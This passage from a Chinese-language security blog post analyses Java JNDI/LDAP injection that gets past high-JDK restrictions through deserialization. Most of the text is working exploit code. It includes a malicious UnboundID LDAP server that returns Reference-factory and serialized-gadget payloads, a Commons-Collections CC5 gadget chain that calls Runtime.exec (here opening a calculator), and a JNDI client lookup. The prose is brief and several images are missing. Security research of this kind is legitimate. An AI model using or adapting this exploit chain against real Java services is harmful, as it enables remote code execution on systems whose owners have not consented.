//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 返回序列化 Gadget
            try {
                e.addAttribute("javaSerializedData", CC5.getpayload());
            } catch (Exception exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws Exception {
        byte[] o1 = getpayload();
    }
    static byte[] getpayload() throws Exception {
        InvokerTransformer invokerTransformer2 = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        InvokerTransformer invokerTransformer1 = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
        InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null});
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
        Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2};
        Transformer keyTransformer = new ChainedTransformer(transformers);

        LazyMap fistrmap = (LazyMap) LazyMap.decorate(new HashMap(),keyTransformer);
        fistrmap.put("fistrmap",1111);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(fistrmap,"nono");

        Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
        Constructor<?> o = aClass.getDeclaredConstructor(Object.class);
        o.setAccessible(true);
        Object o1 = o.newInstance(11);

        Field val = aClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(o1, tiedMapEntry);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(o1);
        oos.flush();
        byte[] serializedData = bos.toByteArray();
        return serializedData;
    }
}
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}

image

最後到到 readObject 進行反序列化,var0 就是序列化資料

反序列化 2#

除了上面 if 處存在反序列化,Obj#decodeObject​後面還有一處存在反序列化:

image

進入decodeReference,

image

在低版本 jdk 中也分析過這裡,包裝了一個包含遠程惡意類的 Reference 對象,然後 lookup 進行遠程加載,這裡主要是後面存在反序列化的點:

image

image

成功反序列化

poc#
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {


        String url = "http://127.0.0.1:8080/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", CC5.getpayload());
//            } catch (Exception exception) {
//                exception.printStackTrace();
//            }

//            Payload3: 返回序列化 Gadget
            e.addAttribute("javaClassName", "foo");
            try {
                e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
            } catch (Exception ex) {
                throw new RuntimeException(ex);
            }
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

參考文獻#

https://m0d9.me/2021/12/17/JNDI-RMI-LDAP%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E9%80%86%E5%90%91%E5%88%86%E6%9E%90

https://exp10it.io/2022/12/jndi-injection/#%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%AC-jdk-%E9%99%90%E5%88%B6

zjj

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。